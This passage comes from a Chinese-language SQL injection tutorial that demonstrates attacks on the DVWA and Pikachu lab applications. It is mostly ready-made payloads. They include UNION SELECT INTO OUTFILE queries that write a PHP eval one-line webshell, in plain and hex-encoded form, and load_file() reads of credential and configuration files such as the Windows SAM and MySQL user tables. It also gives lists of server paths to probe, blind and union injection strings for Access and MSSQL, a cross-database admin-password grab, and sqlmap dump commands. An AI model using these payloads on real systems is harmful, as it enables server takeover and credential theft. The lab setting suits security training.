    http://192.168.133.129/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%20'568311803',2 into outfile 'c:/muma.txt'+--+&Submit=Submit

    写一个一句话木马试试:

    转为十六进制:0x3C3F70687020406576616C28245F504F53545B2763686F70706572275D293B3F3E

    http://192.168.133.129/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%200x3C3F70687020406576616C28245F504F53545B2763686F70706572275D293B3F3E,2 into outfile 'c:/muma.txt'+--+&Submit=Submit

    为什么要把一句话转为十六进制,因为一句话木马中也有单引号,再用单引号会引起混淆。所以得出结论:如果用编码就不要用单引号,用单引号就不要用编码。

3.1.6. 怎么获取 Web 路径

不管是 root 权限还是普通用户权限要对服务器进行读写我们需要网站路径才能得到 webshell.

  1. 一般可以在变量后面加上单引号,改变参数类型,怎加参数位数等来造成 MySQL 数据库出错,爆出 Web 物理路径。

  2. 通过扫描器扫 web 服务器遗留文件 php.php,info.php,phpinfo.php,test.php

  3. 利用搜索引擎来查找 web 目录。搜索引擎有时候会对网站页面进行快照抓取,包括脚本出错页面,因此可以利用搜索引擎查找网站的出错信息,从而获得网站的物理路径。可在 Google 或 百度中搜索 "mysql site:***.com""warning site:***.com,error site:***.com.cn"等。

    这里使用 "error site:***.com" 关键字进行查询,从搜索结果中得到了网站的物理路径为 “E:\pujing2015”

  4. 漏洞爆路径,例如通过网站后台查看网站 Web 路径,CC攻击爆路径 等。

  5. 通过配置文件找到网站路径,在百度里面输入 *** 配置文件,如:IIS6.0 配置文件,可以找到:C:\\windows\\system32\\inetsrv\\MetaBase.xmlC:\windows\system32\inetsrv\MetaBase.bin ,这两个配置文件(小技巧:在百度里输入:load_file() 常用敏感信息,就可以找到别人入侵过程中总结的常用敏感文件路径)

    http://192.168.133.129/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%201,load_file(C:\\WINDOWS\\system32\\inetsrv\\MetaBase.xml)+--+&Submit=Submit

    然后查看网页的源代码,就可以得到服务器上所有网站的路径。

3.1.7. 利用 SQL 注入写入 webshell

假设我们通过 phpinfo 文件知道了网站的物理地址,接下来我们通过使用 union select 语句写入 webshell ,写入需要你有写入的权限。

‘union select 1,’ ‘INTO OUTFILE ‘/var/www/dvwa/cmd.php’+–+ 这种反斜杠/本地没测试,大家测试一下,推荐大家用两个反 \\ ,例如:

http://192.168.133.129/dvwa/vulnerabilities/sqli/?id=1' union select "<?php @eval($_POST['chopper];?>",2 into outfile"c:\\php\\htdocs\\dvwa\\123.php"+--+&Submit=Submit

3.2. MySQL 获取 web 路径方法总结

在 MySQL 注入中,利用 load_file()函数读取网页文件源代码时,首先需要获取网站的路径。网站路径可以通过以下几种方法获得。

3.2.1. 直接在出错信息中显示 Web 路径

在注入点处加单引号,或者修改提交变量类型,让查询语句出错,从出错信息中往往可以爆出网站 Web 物理路径

3.2.2. load_file(char(47)) 列出 freebsd 目录

由于 load_file()函数相当于 Linux 系统中的 cat() 函数,在某些 FreeBSD,Sunos 系统中用 “ cat/ “ 命令可以列出根目录。字符 “ / “ 的 ASCII 码是47 ,在 SQL 注入中,可利用 load_file(char(47)) 直接列出 FreeBSD 等 Linux 系统的文件夹目录。

3.2.3. Linux 的 “/etc/passwd” 文件中的工作目录

3.2.4. 读取 apache 的配置文件 “httpd.conf” ,获取 web 路径

PHP 网站程序通常都是通过 apache 提供服务的,apache 的配置文件 “httpd.conf” 中包含了网站物理路径,可通过读取该文件获得 Web 路径。

在 Linux 系统中,可以利用 load_file() 尝试读取以下路径查看 “apache” 配置文件:

  1. /etc/init.d/apache
  2. /etc/init.d/apache2
  3. /etclhttpd/httpd.conf
  4. /etc/apache/apache.conf
  5. /etc/apache2/apache2.conf
  6. /etc/apache/httpd.conf
  7. /etc/apache2/httpd.conf
  8. /usr/local/apache/conf/httpd.conf
  9. /usr/local/apache2/conf/httpd.conf
  10. /opt/apache/conf/httpd.conf
  11. /home/apache/httpd.conf
  12. /etc/apache2/sites-available/default

主要看管理员把服务器搭建在什么地方,如果是保持默认的话是前两个,比较好找。

在 Windows 系统中,可以尝试读取以下路径查看 apache 配置文件:

  1. C:\Program Files\Apache Group\Apache\conf\httpd.conf
  2. C:\Program Files\Apache Group\Apache2\conf\httpd.conf
  3. C:\Program Files\Apache Software Foundation\Apache2.2\conf\httpd.conf
  4. C:\apache\confthttpd.conf

也可将C盘换成 D,E,F 盘进行尝试。

3.2.5. 利用 load_file() 读取各种配置文件

在 MySQL 注入中,load_file() 函数除了用于读取网页脚本程序源代码外,我们还可以用来读取其他各种敏感的配置文件,方便获得 WebShell 或进行提权。

  1. load_file() 读取服务器配置文件

    在前面讲解了利用 load_file() 函数读取 “apache” 配置文件,从而获得 Web 物理路径外,还可以利用此函数读取网站中的其他的重要的配置文件,获得更多敏感信息。

    /usr/local/app/apache2/conf/extra/http-vhosts.conf 虚拟网站设置

    /usr/local/app/php5/lib/php.ini php相关设置

    /etc/sysconfig/iptables 防火墙规则策略

    /etc/rsyncd.conf 同步程序配置

    /etc/sysconfig/network-script/ifcfg-eth0 查看IP

    /etc/redhat-release 系统版本

    /etc/issue 系统版本

    /etc/issue.net 系统版本

    /usr/local/resin/conf/resin.conf 查看 Linux 系统配置的 JSP 虚拟主机

    /usr/local/resin-pro-3.0.22/conf/resin.conf 查看 RESIN 3.0.22 配置文件

    /usr/local/resin-3.0.22/conf/resin.conf 查看 RESIN 3.0.22 配置文件

    c:\mysql\data\mysql\user.MYD 存储了”mysql.user”表中的数据库链接密码

    c:\program files\rhinosoft.com\serv-u\servudaemon.ini FTP 软件配置文件,存储虚拟主机网站路径和密码

    c:\program files\serv-u\servudaemon.ini FTP 软件配置文件,存储虚拟主机网站路径和密码

    c:\program files\mysql\my.ini Mysql 配置文件

    c:\windows\my.ini Mysql 配置文件

    c:\windows\system32\inetsrv\metabase.xml IIS 配置文件

    c:\resin\conf\conf\resin.conf 查看 JSP 网站 “resin” 文件配置信息

    c:\resin-3.0.14\conf\conf\resin.conf 查看 JSP 网站 “resin” 文件配置信息

  2. load_file() 读取二进制文件

    除了读取文本类型的文件外,load_file() 还可以用来读取系统中的二进制文件,例如个各种密码存储在配置文件中。

    c:\windows\repair\sam windows 系统初次安装时的密码

    c:\program files\serv-u\servuadmin.exe serv-U 6.0 及之前版本的管理员密码文件

    c:\documents and setting\all users\application data\symantec\pcanywhere*.cif pcanywhere 登录密码文件

    只要 MySQL 注入点处的账号权限足够,那么 load_file() 函数就可以读取任何文件。但是需要注意的是,由于浏览器编码不能完全显示二进制编码文件,因此需要使用 hex() 函数将 load_file() 函数读出的二进制文件转为十六进制显示在网页上。在将网页中显示的十进制代码复制到本地后,通过转换成二进制文件才能加以利用。

  3. load_file() 函数读取文件时不可忽视的问题

    在上一个案例中,读取网页源代码时在网页中未能正常显示一些代码内容,这是由于网页源代码中包含一些特殊的字符,如:“>”,“<” 之类的,因此导致在返回源代码内容时显示为了网页效果,而不是真实的代码内容。因此,除了通过查看源代码外,还可以考虑在返回代码时替换一些特殊的字符,从而令网页中正常显示源文件代码内容。(<:60 >:62)

    可在 load_file()函数使用时调用如下形式:

    replace(load_file(char(文件路径十六进制代码)),char(60),char(32)) :这句话代码的意思是,将返回文件内容中的 “<” 替换成了空格,这样就可以屏蔽网页效果,而查看到真实的网页内容了。

    例如,在上一个案例中,采用替换字符的方式读取文件,提交如下链接:

    http://192.168.133.129/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select replace(load_file(文件路径十六进制形式),char(60),char(32)),2+--+&Submit=Submit

    页面中返回的就是源代码内容,而不再显示网页形式了。

二,Access 数据库注入攻击基本技术

Access 注入攻击针对于那些小网站搭建的,访问流量小的。

4.1 .爆出数据库类型

SQL server 有一些系统变量和系统表,如果服务器 IIS 提示没有关闭,并且 SQL server 返回错误提示的话,可以直接从出错信息中获取判断数据库的类型(后面会详细讲解如何突破 IIS 提示被关闭)

4.1.1. 内置变量爆数据库类型

‘User’ 是 SQL server 的一个内置变量,它的值是当前连接的用户名,其变量类型为 “nvarchar” 字符型,通过提交查询该变量,根据返回的错误信息即可得知数据库类型,方法是在注入点之后提交如下语句:

and user>0

该查询会将 user 对应的 nvarchar 型值与 int 数字型的0对比,两个数据类型不一致,因此会返回错误信息。

如果提示如下错误信息:

Mircrosoft OLE DB Provider for SQL server 错误 ‘80040e21’

将 nvarchar 值 ‘****’ 转换为 int 列时发生语法错误。

/home/yz/yu/show.asp

则可以判断时 MS SQL 数据库。如果采取的是 Access 数据库的话,那么提示信息则会如下显示:

Server Error in ‘/‘ Application 在将 nvarchar 值 转换成数据类型 int 时失败

4.1.2. 内置数据表爆数据库类型

如果服务器 IIS 不允许返回错误提示,通常可以通过数据库内置的系统数据表来进行判断。在注入点提交如下查询语句:

and (select count(*) from sysobjects)>=0

and (select count(*) from msysobjects)>=0

Access 存在系统表[msysobjects],不存在 “sysobjects” 表。因此如果数据库采用的是 Access ,会返回如下提示错误信息:

Mircrosoft OLE DB Provider for ODBC Drivers 错误 ‘80040e37’

/home/yz/yu/show.asp,行8

[Microsoft][ODBC Microsoft Access Driver]Microsoft Jet数据库引擎找不到输入表或查询 “sysobjects” 。确认它是否存在,以及它的名称的拼写是否正确。

在 MS SQL Server:存在系统表 [sysobjects],不存在[msysobjects]系统表,因此会返回如下错误提示信息:

Server Error in ‘/‘ Application

系统表 ‘O’ 无效 #存在系统表 [sysobjects]

系统表 ‘msysobjects’ 无效 #不存在[msysobjects]

4.2.猜测数据库名

可在注入点后提交如下语句进行查询:

and exists(select * from 数据库表名) 或者

and (select count(*) from 数据库表名)>=0

上面的语句是判断数据库中是否存在指定数据库表名。如果页面返回出错,那么可更替其他常见数据库表名继续进行查询,

4.3. 猜测字段名及字段长度

可在注入点提交如下语句查询:

and exists(select 字段名 from 数据库表名) 或者

and (select count(字段名) from 数据库表名 )>=0

如果存在此字段名,返回页面正常,否则可更换字段名继续进行猜测。

猜解字段长度,可提交如下查询语句:

当提交 >n-1 时正常,而提交 >n 时返回错误,则说明字段长度为 n。

and (select top 1 len(字段名) from 数据库表名)>1

and (select top 1 len(字段名) from 数据库表名)>n-1

and (select top 1 len(字段名) from 数据库表名)>n

当提交 >n-1 时正常,而提交到 n 时返回错误,那么说明字段长度为 n。

4.1.4. 猜字段值

猜字段的 ASCII 值,可在注入点后提交如下查询语句:

and (select top 1 asc(mid(字段名,1,1)) from 数据库表名)>0

and (select top 1 asc(mid(字段名,1,1)) from 数据库表名)>n-1

and (select top 1 asc(mid(字段名,1,1)) from 数据库表名)>n

当提交 >n-1 时正常,而提交 >n 时返回出错,那么说明字段值的 ASCII 码为 n。反查 ASCII 码对应的字符,就可以得到字段值的第一位字符,要继续提交如下查询:

and (select top 1 asc(mid(字段名,2,1)) from 数据库表名)>0

用上面同样的方法,可以得到第二位字符。在继续进行查询,直接猜解出字段的所有字符值为止。

4.4. SQL 注入的高级查询

在上一节介绍的 ASCII 码猜解法很浪费时间,下面介绍一种高效的方法 order by 与 union select 联合查询,可以快速地获取字段长度和字段内容。这种查询方法,不仅可以利用在 Access 数据库猜解中,必须掌握的方法。同样可以适用于利用在其他类型的数据库的注入猜解中。

4.4.1. order by 猜字段数目

首先,利用 order by 猜解字段数目,查询语句如下:

order by 1

order by 2

….

order by n-1

order by n

如果 n-1 时返回正常,n 时返回错误,那么说明数据库字段数目为 n-1。

4.4.2. union select 爆字段内容

得到字段长度后,就可以利用 union select 查询获得字段内容了。

and 1=2 union select 1,2,3…,n from 表名

执行上面的查询时,在页面会返回数字,修改查询语句中的数字为字段名,例如提交如下代码:

and 1=2 union select 1,字段1,字段2…,n from 表名

在页面中就会返回字段内容,不必一个个进行猜解了。

5.1. 偏移注入

偏移注入是针对 Access 数据库,当我们注入猜到数据库表名却猜不到列名 (字段名) 的情况下,这种方法就可以帮我填补。(注:这种方法运气很重要)

5.2. 跨库注入

假设 a 和 b 两个站点在同一台服务器上,但是服务器上面安装了 安全狗,waf 这样的安全软件,现在我们要对 a 站点进行攻击,但是没有发现什么大漏洞,只找到网站数据库路径,对数据库下载发现下载不了。这个时候我发现 b 站点有注入点。直接用:

http://192.168.133.133:83/new_view.asp?id=14 union select 1,adminpassword,username,4,5,6,7 from [C:\wwwtest\2AspCMS_data\data.asp].Aspcms_Admins

[C:\wwwtest\2AspCMS_data\data.asp].Aspcms_Admin 是 b 站点的数据库路径

三,注入之伪静态突破

phpstudy 配置伪静态

四,sqlmap 自动化注入

6.1. sqlmap 基本命令

#-u 目标网址
#–batch 自动化
#–dbs数据库
#–users 获取所有用户
#–current-db 当前数据库
#–current-user 当前用户
#-D 库名 –tables 指定库下面的表信息
#-T 表名 –columns 指定表下面的列信息(前面要有指定的库)
#-C 列名 指定列名下的数据
#–dump 把想要的down下来(在想要的库或表的后面添加的语句)

sqlmap.py -u “http://192.168.133.133:81/pikachu/vul/sqli/sqli_str.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" –batch –dbs –level 2

sqlmap.py -u “http://192.168.133.133:81/pikachu/vul/sqli/sqli_str.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" –batch -D dvwa –tables

……